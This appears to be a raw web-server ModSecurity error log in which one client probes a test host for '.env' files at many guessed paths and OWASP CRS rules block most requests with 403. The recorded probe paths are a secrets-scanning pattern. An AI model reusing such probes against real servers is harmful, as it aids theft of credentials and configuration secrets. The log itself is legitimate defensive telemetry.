[Wed Feb 25 06:05:09.019865 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-AAAAAA&quot;]
[Wed Feb 25 06:05:09.045752 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-empathy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgQAAAAc&quot;]
[Wed Feb 25 06:05:09.046038 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgQAAAAc&quot;]
[Wed Feb 25 06:05:09.046232 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgQAAAAc&quot;]
[Wed Feb 25 06:05:09.132656 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYggAAAAc&quot;]
[Wed Feb 25 06:05:09.132932 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYggAAAAc&quot;]
[Wed Feb 25 06:05:09.133109 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYggAAAAc&quot;]
[Wed Feb 25 06:05:09.183329 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgwAAAAc&quot;]
[Wed Feb 25 06:05:09.183620 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgwAAAAc&quot;]
[Wed Feb 25 06:05:09.183810 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYgwAAAAc&quot;]
[Wed Feb 25 06:05:09.189753 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-QAAAAA&quot;]
[Wed Feb 25 06:05:09.190040 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-QAAAAA&quot;]
[Wed Feb 25 06:05:09.190211 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-QAAAAA&quot;]
[Wed Feb 25 06:05:09.243223 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/01-simple-model/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-gAAAAA&quot;]
[Wed Feb 25 06:05:09.243505 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-gAAAAA&quot;]
[Wed Feb 25 06:05:09.243700 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-gAAAAA&quot;]
[Wed Feb 25 06:05:09.289931 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/02-complex-example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-wAAAAA&quot;]
[Wed Feb 25 06:05:09.290204 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-wAAAAA&quot;]
[Wed Feb 25 06:05:09.290393 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia-wAAAAA&quot;]
[Wed Feb 25 06:05:09.336199 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/03-one-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_AAAAAA&quot;]
[Wed Feb 25 06:05:09.336472 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_AAAAAA&quot;]
[Wed Feb 25 06:05:09.336643 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_AAAAAA&quot;]
[Wed Feb 25 06:05:09.358497 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhAAAAAc&quot;]
[Wed Feb 25 06:05:09.358746 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhAAAAAc&quot;]
[Wed Feb 25 06:05:09.358918 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhAAAAAc&quot;]
[Wed Feb 25 06:05:09.475942 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/momentum-fe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhQAAAAc&quot;]
[Wed Feb 25 06:05:09.476214 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhQAAAAc&quot;]
[Wed Feb 25 06:05:09.476407 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhQAAAAc&quot;]
[Wed Feb 25 06:05:09.500020 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/04-many-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_QAAAAA&quot;]
[Wed Feb 25 06:05:09.500286 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_QAAAAA&quot;]
[Wed Feb 25 06:05:09.500481 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_QAAAAA&quot;]
[Wed Feb 25 06:05:09.546397 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/05-migrations/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_gAAAAA&quot;]
